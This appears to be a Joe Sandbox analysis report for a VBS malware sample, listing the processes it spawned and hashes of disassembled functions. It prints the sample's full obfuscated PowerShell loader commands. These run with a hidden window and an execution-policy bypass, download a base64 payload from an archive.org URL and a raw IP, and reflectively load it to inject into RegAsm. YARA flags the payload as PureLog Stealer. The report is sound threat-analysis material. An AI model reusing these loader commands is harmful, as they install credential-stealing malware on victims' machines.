                                                Path:C:\Windows\System32\wscript.exe
                                                Wow64 process (32bit):false
                                                Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs"
                                                Imagebase:0x7ff7bc030000
                                                File size:170'496 bytes
                                                MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                Has elevated privileges:false
                                                Has administrator privileges:false
                                                Programmed in:C, C++ or other language
                                                Reputation:high
                                                Has exited:true

                                                General

                                                Target ID:2
                                                Start time:23:28:25
                                                Start date:01/10/2024
                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                Wow64 process (32bit):false
                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                                                Imagebase:0x7ff760310000
                                                File size:452'608 bytes
                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                Has elevated privileges:false
                                                Has administrator privileges:false
                                                Programmed in:C, C++ or other language
                                                Reputation:high
                                                Has exited:true

                                                General

                                                Target ID:3
                                                Start time:23:28:25
                                                Start date:01/10/2024
                                                Path:C:\Windows\System32\conhost.exe
                                                Wow64 process (32bit):false
                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                Imagebase:0x7ff70f010000
                                                File size:862'208 bytes
                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                Has elevated privileges:false
                                                Has administrator privileges:false
                                                Programmed in:C, C++ or other language
                                                Reputation:high
                                                Has exited:true

                                                General

                                                Target ID:4
                                                Start time:23:28:28
                                                Start date:01/10/2024
                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                Wow64 process (32bit):false
                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"
                                                Imagebase:0x7ff760310000
                                                File size:452'608 bytes
                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                Has elevated privileges:false
                                                Has administrator privileges:false
                                                Programmed in:C, C++ or other language
                                                Yara matches:
                                                • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1903308651.000002519061B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                Reputation:high
                                                Has exited:true

                                                Disassembly

                                                Reset < >

                                                  Executed Functions

                                                  Function 00007FF886C637B5 Relevance: .0, Instructions: 49COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000002.00000002.1943706726.00007FF886C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C60000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_2_2_7ff886c60000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                  • Instruction ID: eae8ea84071b61eec2fcf60af80e11abcf53a5194bad575bd88f114aa2a26b9a
                                                  • Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                  • Instruction Fuzzy Hash: 6F01677115CB0D8FD744EF0CE451AA6B7E0FB95364F10056DE58AC3651D636E882CB46

                                                  Executed Functions

                                                  Function 00007FF886D00358 Relevance: 1.6, Strings: 1, Instructions: 363COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1926131315.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886d00000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: H
                                                  • API String ID: 0-2852464175
                                                  • Opcode ID: ead17b9bd195dd6447afa2ab7843cf3f9faca332de0149e31eac2e7e80f98bf8
                                                  • Instruction ID: b0d76c97c97ae44518bfdeb427c369a80ccee1196a68fe593b06d4edd180d701
                                                  • Opcode Fuzzy Hash: ead17b9bd195dd6447afa2ab7843cf3f9faca332de0149e31eac2e7e80f98bf8
                                                  • Instruction Fuzzy Hash: 69B14621A0DBC95FE7969B6858696B57FE0FF9A260F0801FBD08EC7093ED199C05C352
                                                  Function 00007FF886D00903 Relevance: .8, Instructions: 774COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1926131315.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886d00000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: dead4e51850c4d44b53244a032afcfe61ea51478790e36ed148d562a3fc9dd3e
                                                  • Instruction ID: f13bc4a750d93128865371f01f5c05c469cf173f883018e8260c3848981d1fe1
                                                  • Opcode Fuzzy Hash: dead4e51850c4d44b53244a032afcfe61ea51478790e36ed148d562a3fc9dd3e
                                                  • Instruction Fuzzy Hash: A0320521E0DB895FE39A9B6858556B57FE1FF86260F0801FED08EC7193DD19AC06C392
                                                  Function 00007FF886D04116 Relevance: .4, Instructions: 434COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1926131315.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886d00000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: fe72b70eab4cd88fa9efa4a818166e537c9e0f1d37c6fd37f0e24f4d907fbd1a
                                                  • Instruction ID: 7b28e87932752df46c8d948eb8c9c01ca03ad81412801c69ee27e65b33cc7d63
                                                  • Opcode Fuzzy Hash: fe72b70eab4cd88fa9efa4a818166e537c9e0f1d37c6fd37f0e24f4d907fbd1a
                                                  • Instruction Fuzzy Hash: 05D13521D1DAC98FE7A5EB685855AB97BE0FF16390F0801BED44EC7093DA19AC05C342
                                                  Function 00007FF886D0555D Relevance: .4, Instructions: 397COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1926131315.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886d00000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 9bad8524e3f5b8c4031cfd3e0d7784515e021b7459dbaee9018f5e3467bad0fb
                                                  • Instruction ID: 909d12fb6aa328779c63ca1b5559fe9b58e959956f21cb5f196186c98deb16de
                                                  • Opcode Fuzzy Hash: 9bad8524e3f5b8c4031cfd3e0d7784515e021b7459dbaee9018f5e3467bad0fb
                                                  • Instruction Fuzzy Hash: D8C11622D1DACA4FE7A7966818652B57FE1FF962A0B4801FAD84EC71D3DD099C05C383
                                                  Function 00007FF886D03D6D Relevance: .2, Instructions: 229COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1926131315.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886d00000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: e34598c1f540358c9e685124941e73d6b76b51e1186ddb9075d07ca0f3fd7142
                                                  • Instruction ID: 5525fab80dae3b82592284f7f7d9c6782eaf8e7c77b0427b435fa4ea71c179e3
                                                  • Opcode Fuzzy Hash: e34598c1f540358c9e685124941e73d6b76b51e1186ddb9075d07ca0f3fd7142
                                                  • Instruction Fuzzy Hash: 85610563D0DACA4FE396966D58551747FE0FF962A0B0902FBC08ECB193ED1A5C0AC752
                                                  Function 00007FF886D03CAB Relevance: .2, Instructions: 224COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1926131315.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886d00000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 4234e9f5f2a5cb3aa6cb7fb7e7093ec2edf6a22ad31e7c473b870791232f522a
                                                  • Instruction ID: 96e650a3f3addb15a7b07f5afc453d346a93a1a7ce7ff94aa5435940f4772eb4
                                                  • Opcode Fuzzy Hash: 4234e9f5f2a5cb3aa6cb7fb7e7093ec2edf6a22ad31e7c473b870791232f522a
                                                  • Instruction Fuzzy Hash: EC51D36294EBC65FE356977958A91653FE0FF47264B1A05FFC089CB0A3D81A5C0AC322
                                                  Function 00007FF886D003A3 Relevance: .2, Instructions: 171COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1926131315.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886d00000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: a26b5ea87743e9985d8b8df87666cce28ee92642ae66dfcd2b31199e3a3d8d87
                                                  • Instruction ID: a54be97e60fdf36f0135d63cc0b0a2652e81447f880e530fc6fc93a437cecc20
                                                  • Opcode Fuzzy Hash: a26b5ea87743e9985d8b8df87666cce28ee92642ae66dfcd2b31199e3a3d8d87
                                                  • Instruction Fuzzy Hash: D6512531E0CA8A5FE795DA2C44A96B477E1FF69250F8801FAC40EC7193ED19EC05C342
                                                  Function 00007FF886D0562A Relevance: .1, Instructions: 146COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1926131315.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886d00000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 5a7174798940072a7d4ce5eb1e06045f06f528a8633c52c98ad2526a56cdc70f
                                                  • Instruction ID: ef5280c041387ac9084ccfe6fcfbc146f6d6203a880071cdf0dce987490c40b2
                                                  • Opcode Fuzzy Hash: 5a7174798940072a7d4ce5eb1e06045f06f528a8633c52c98ad2526a56cdc70f
                                                  • Instruction Fuzzy Hash: 78412722E1EE8B4FF7AB9668165527556C2FF912A4BD801B9C80FC71D3DC0E9C04D283
                                                  Function 00007FF886C354B5 Relevance: .0, Instructions: 49COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1925622622.00007FF886C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C30000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886c30000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 35339b6c69b93d0c10426023e51f378992843bab5feb8c2b3df5f2ab10f27cf2
                                                  • Instruction ID: 5209845c52cd24f5d3e311baf97eb9aadc565b27761026bc90229eeff1e3806b
                                                  • Opcode Fuzzy Hash: 35339b6c69b93d0c10426023e51f378992843bab5feb8c2b3df5f2ab10f27cf2
                                                  • Instruction Fuzzy Hash: 5D01A73111CB0D8FD748EF0CE051AA5B3E0FB85360F10052DE58AC3651D636E882CB42

                                                  Non-executed Functions

                                                  Function 00007FF886C39C29 Relevance: .1, Instructions: 146COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000004.00000002.1925622622.00007FF886C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C30000, based on PE: false
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_4_2_7ff886c30000_powershell.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 17bbbb17b5798d8ef5557d6529816c0627f6083ccb4ded241beeeba24779b5e8
                                                  • Instruction ID: 900f615a38e635e13d2ce058f15b35f16561a7fa52de43dd2a052db10eeba5a0
                                                  • Opcode Fuzzy Hash: 17bbbb17b5798d8ef5557d6529816c0627f6083ccb4ded241beeeba24779b5e8
                                                  • Instruction Fuzzy Hash: D051206284E7C24FD7038B748C666907FB0AF07264B4E45EBC4D1CF0E3E6595A5AD322